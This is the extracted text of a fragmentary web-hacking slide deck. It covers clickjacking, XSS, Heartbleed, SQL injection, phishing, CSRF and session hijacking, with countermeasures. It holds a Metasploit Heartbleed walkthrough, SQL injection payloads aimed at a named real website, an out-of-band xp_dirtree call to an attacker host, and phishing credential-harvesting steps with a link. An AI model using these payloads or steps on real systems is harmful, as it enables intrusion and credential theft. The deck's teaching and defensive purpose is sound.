Websitehacking 170818085707
Websitehacking 170818085707
Websitehacking 170818085707
TECHNOLOGIES
Types of Websites
XML Apache
Php MYSQL
C#
Perl
Asp.net
Ever come across a screen like
this??
URL HIJACKING
They buy badly
Make money
from your spell domain
mistake
Fake website
or phishing
Redirect site
from the Infect with a drive
famous by download
URLs
Types of URL
hijacking Paid
Display Search
Hijacking Hijacking
CLICKJACKING
iframe
Position
Z-
index
Opacity
STROKEJACKING
It is extremely similar to clickjacking, in that a
malicious site has a user doing things they don’t
want to do. Except, this time, it’s with the keyboard
instead of the mouse – hence
the “stroke”. The attacking site gets the user to type
(or cut and paste), the information they’re looking for.
This could lead to another attack (if the user types
JavaScript), or just gathering a username and
password. The user thinks they are logging into a
site, but they’re really sending characters over to the
attacker’s site.
TAPJACKING
• A hacking technique where a malicious application
presents an unreal user interface in order to obtain user
events for a hidden action in the background.
• Like Clickjacking on the web, Tap Jacking occurs when a
malicious application displays a fake user interface that
seems like it can be interacted with, but actually passes
interaction events such as finger taps to a hidden user
interface behind it.
• Mostly the tap jacking technique is used for mobile
application and mobile websites
Tools and Techniques Required to Perform Attacks
WHOIS
Robots.txt files
HTTrack-clone a website
BeEF Tool
Electronic Data Gathering, Analysis and Retrieval (EDGAR)
Shodan Search
Google Hacking
DNS Lookup
Nslookup
DIG (Domain information Groper)
Netcraft
Httprint
Fierce
Encoder and Decoder
OPEN
SOURCE
TOOLS
Commercial
TOOLS
XSS
Content
Definition
Types
Process
Live Attack
Risks
Counter Measures
Definition
Cross-site scripting (XSS) is a type of computer security
vulnerability typically found in web applications.
XSS enables attackers to inject client-side scripts into web pages
viewed by other users.
A cross-site scripting vulnerability may be used by attackers to
bypass access controls such as the same-origin policy.
XSS Types
Persistent (Stored)
Stored or Persistent XSS is a kind of XSS vulnerability where the
untrusted user input is processed and stored by the server in a file
or database without any validation and this untrusted data is fetched
from the storage and is reflected back in response without encoding
or escaping resulting in permanent code execution at the browser
whenever the stored data is reflected in the response.
- link in other website or email
XSS Types
Non Persistent (Reflected)
Reflected or Non-Persistent XSS is a kind of XSS vulnerability where
the untrusted user input is immediately processed by the server
without any validation and is reflected back in the response without
encoding or escaping resulting in code execution at the browser.
- forum, bulletin board, feedback form
XSS Types
Local (DOM based)
DOM Based XSS is a form of client side XSS which occurs in an
environment where the source of the data is in the DOM, the sink is
also in the DOM, and the data flow never leaves the browser. It
occurs when an untrusted data is given at the source is executed as
a result of modifying the DOM “environment” in the browser. DOM
XSS occurs when the untrusted data is not in escaped or encoded
form with respect to the context.
- PDF Adobe Reader, Flash Player
Process
Screenshot
1)An attacker finds an xss hole in a web application
2) The attacker creates an attack URL for stealing sensitive
Information and disguises it so that it appears legitimate.
3) The attacker distributes the malicious XSS link via social engineering to
unsuspected users.
Screenshot
“The application may attempt to detect and remove all scripts from un-
trusted HTML before sending it to the browser.” Content filtering is
otherwise known as sanitization. This defense technique uses filter
functions to remove potentially malicious data or instructions from user
input. Filter functions are applied after user input is read by a web
application, but before the input is employed in a operation or output to the
web browser. Removal of scripts from un-trusted content is a difficult
problem for web applications that permit HTML markup in user input such
as blog. To be completely effective in eliminating XSS, a filter function must
necessarily model the full range of parsing behaviors pertaining to script
execution for several browsers.
XSS Countermeasures
Challenges of Content Filtering:
It has found wide use in internet web servers, serving a majority of all web sites.
It took a couple more days to realize that Heartbleed also affects client
software, non-web SSL traffic and countless embedded devices which
will never receive a software update.
Lets see how to perform this attack with
Metasploit..!!
It can be performed with powerful exploit
framework, Metasploit
We'll see how it's performed step by step
Step 1: Update Metasploit using msfupdate
Step 2: Start metasploit
Kali > msfconsole
Metasploit startup screen
Step 3 : Find Heartbleed
search heartbleed
This would bring up two modules
auxiliary/scanner/ssl/openssl_heartbleed
and
auxiliary.server/openssl_heartbeat_client_me
mory
We'll use first one
Step 3 screenshot
Step 4
Use Auxiliary module
use auxiliary/scanner/ssl/openssl_heartbleed
This will load the heartbleed module
info
Type
msf > info
This reveals the options that need to set in order to use this module
and a description of the module
Step 5
Set options
Although this module has numerous option, the critical one is
RHOSTS
Let's set it to a target website on network that is still vulnerable to
heartbleed
msf > set RHOSTS 192.168.1.169
Step 5
Step 6 : Run the module
Finally, set the option 'verbos' to 'true'. This will provide us with
verbos output.
Msf > set verbos true
And lets run it
msf > run
As we can see in next screenshot , the server leaked about 64k
bytes of what was in it's memory
Success..!!
Let Us Define….
Field reports
• Canadian charged in 'Heartbleed' attack on tax agency.
2. Session hijacking from vulnerable HTTPS servers
Lessons learned
• Protect private keys with a hardware security module.
Field reports
• Confirmed: Heartbleed Exposes Web Server's Private
SSL Keys
5. Tor traffic correlation
Lessons learned
• Heartbleed will probably be the end of the current
certificate revocation infrastructure.
6. De-anonymization of hidden servers and users by
malicious Tor nodes
Field reports
• "Tor hidden services might leak their long-term hidden
service identity keys to their guard relays."
7. Attacks against VPN servers
Field reports
• Attackers Exploit the Heartbleed OpenSSL Vulnerability
to Circumvent Multi-factor Authentication on VPNs
• OpenVPN uses OpenSSL as its crypto library by default
and thus is affected
Some General
Countermeasures
Do not use OpenSSL 1.0.1f.
Disable heartbeat extension.
Change login credentials if your site is compromised.
DANGER :
OpenSSL, an open source project staffed by only 10
individuals and run on a limited budget, is used to secure
millions of servers, ensuring the integrity of email, e-
commerce, online banking and other properties, in many
cases for multi-billion dollar companies.
SQL injection i.e. SQLI refers to the injection attack in which the attacker
executes malicious SQL queries that control a web application database
server
Example:
USER INPUT:
' AND 'a'='b' UNION SELECT 999, 'abc', 'xyz' FROM members
WHERE 'a'='a
GENERATED QUERY:
SELECT id, name, description FROM products WHERE category = ''
AND 'a'='b' UNION SELECT 999, 'abc', 'xyz' FROM members
WHERE 'a'='a‘
The crafted query returns usernames and passwords of all
members in the database.
Query stacking:Stacked queries provide a lot of control to the
attacker. By terminating the original query and adding a new one, it
will be possible to modify data and call stored procedures.
Example
A classic attack using this technique could look like the following.
Example:
In this website it shows some information which is stored in some database
http://www.psn.com.pk/index.php?page=gallery.php&id=519
The attacker finds the vulnerability using Boolean based blind injection
False query:
http://www.psn.com.pk/index.php?page=gallery.php&id=519 and 1=2
True query:
http://www.psn.com.pk/index.php?page=gallery.php&id=519 and 1=1
Timed-based-blind attack: For Time-based attacks, the attacker
needs to instruct the database to perform a time-intensive operation. If
the web site does not return a response immediately, the web
application is vulnerable to Blind SQL Injection. A popular time intensive
operation is the sleep operation.
Example:
In the website
http://www.psn.com.pk/index.php?page=gallery.php&id=519
To perform time based blind attack the query will become:
http://www.psn.com.pk/index.php?page=gallery.php&id=519 and if(1=1,
sleep(10), false)
Out-of-band SQLi
Out-of-band attack occurs when the attacker is unable to the same
channel to attack and gather result
Out-of-band techniques, offer an attacker an alternative to inferential
time-based techniques, especially if the server responses are not very
stable.
Consider the following URL crafted by an attacker:
https://example.com/products.aspx?id=1;EXECmaster..xp_dirtree
'\\test.attacker.com\' –
This will produce the following SQL query.
SELECT * FROM products WHERE id=1;EXEC master..xp_dirtree
'\\test.attacker.com\' --
What happened is that there are now two separated queries that
SQL Server will execute.
/* First Query */
SELECT * FROM products WHERE id=1
/* Second Query */
EXEC master..xp_dirtree '\\test.attacker.com\' –
The second query is invoking a stored procedure xp_dirtree. This
extended stored procedure can be used to get a list of all the folders
for the folder named in the xp.
screenshots
Recording of SQL attack
SQL Injection (SQLi)
Non-Technical Explanation
Drive through <route> and <where should the bus stop?> if <when should the
bus stop?>.
Drive through route 66 and stop on bus stops if there are people on the bus
stops.
Drive through route 66 and do not stop on bus stops and ignore the rest of this
form. if there are people on the bus stop.
What is a SQL Injection
Vulnerability?
Technical Explanation
$statement = "SELECT * FROM users WHERE username = 'bob' AND password =
'mysecretpw’”
$statement = "SELECT * FROM users WHERE username = '$user' AND password =
'$password'";
Different Types of the SQL Injection
Vulnerability
Error based SQL Injection
Boolean Based SQL Injection
Time based SQL Injection
sanitization
validation
Sanitization
Trust no-one
Don't use dynamic SQL when it can be avoid
Firewall
Update and patch
Reduce your attack surface
Use appropriate privileges
Keep your secrets secret
Don't divulge more information than you need it
Phishing
What is Phishing ?
Clone Phishing
Whaling
___________________________________________________________
Spear Phishing
Whaling
Several recent phishing attacks have been directed specifically at senior executives and
other high profile targets within businesses, and the term whaling has been coined for
these kinds of attacks.
HERE’S HOW IT’S DONE
Step: 1
Setting Up A Web
Page Which
Looks Similar To
The Original
Place your screenshot here One.
Link :
http://a0145877.xs
ph.ru/
Step: 2
A php script which
stores credentials
to a file is what
Place your screenshot here
required to
harvest
credentials
Step: 3
In the html page
search for submit
Place your screenshot here
form and change
it to written php
script
STEP: 4 Host it in a server & Share The Link
118
119
PHISHING
DON’T GET
HOOKED
DEFINITION
It is the attempt to obtain sensitive information
such as usernames, passwords, and credit card
details, often for malicious reasons, by disguising
as a trustworthy entity in an electronic
communication.
TYPES OF PHISHING
• Spear phishing • Filter evasion
• Clone phishing • Link manipulation
• Whaling • Tabnabbing
How to protect yourself
1. Be wary of emails asking for confidential information
Disadvantage
• Practical implementation is quite difficult.
domains
Disadvantage-
•It doesn’t work fully with sub-domains.
•Even here, passwords are stored in plain text.
Phishing Scam Alert Add-
ons/Extensions
The concept is like this. If server visits any known
fake/phishing URL, then that tool bar turns red.
Phishing Scam Alert Add-
ons/Extensions
If that phishing or fake site is the one suspect site, then it turns
yellow.
2FA—Two-Factor Authentication
It requires not only a username and password, but also some piece
of information that only the user knows (physical token).
Encrypted Key Exchange Process—Prevent
Dictionary Attacks
Definition
Attack Process
Screenshots
CounterMeasures
Tools
References
Definition
With a little help of social engineering (such as sending a link via email
or chat), an attacker may trick the users of a web application into
executing actions of the attacker's choosing.
If the victim is a normal user, a successful CSRF attack can force the
user to perform state changing requests like transferring funds,
changing their email address, and so forth.
Malicious Target
Browser
Website Website
Step 2 − Now we need to mock up the transfer into a 1x1 image and
make the victim to click on the same.
Screenshot
Safe Methods
1) The GET and HEAD methods SHOULD NOT have the significance of
taking an action other than retrieval. These methods ought to be
considered "safe" ...
$_POST superglobal and not $_GET or $_REQUEST
2)Try to force the use of your own forms
- On form generation, store unique token in user $_SESSION and
form hidden field
- On submit, check token
-- Limits attack to only single user
-- Attacker would need to obtain users valid form AND session token
- Put expiry on form tokens
Session HIJECKING
What is session hijacking ?
Session hijacking is the process of exploiting valid computer session
which involves stealing the victim's cookie.
What is a cookie ?
1 ) Active :-
In active attack, an attackers finds an active session and takes over.
2 ) Passive : -
With passive attack, an attacker hijacks a session, but sits back, and
watches and record all the traffic that is being send forth
Session hijacking working…
Showing video example of session hijacking
Levels of Session
Session Hijacking
Hijacking
Active
Passive
Network level can be defined as the interception of the packets during the
transmission between client and the server in a TCP and UDP session
Application level is about gaining control on HTTP user session by obtaining the
session ID’s
Some common tools used for Session
Hijacking
The following are a few that
belong to this category:
• Juggernaut
• Hunt
• TTY Watcher
• IP Watcher
• T-Sight
• Paros HTTP Hijacker
Counter Measures for Session
Hijacking
Use Encryption
Logout Functionality
Counter Measures for Session
Hijacking (Cont….)
ID creation after authoritative
login
Includes UDP floods, ICMP floods, and other spoofed-packet floods. The
attack’s goal is to saturate the bandwidth of the attacked site, and
magnitude is measured in bits per second (Bps).
Protocol Attacks
Bazee.com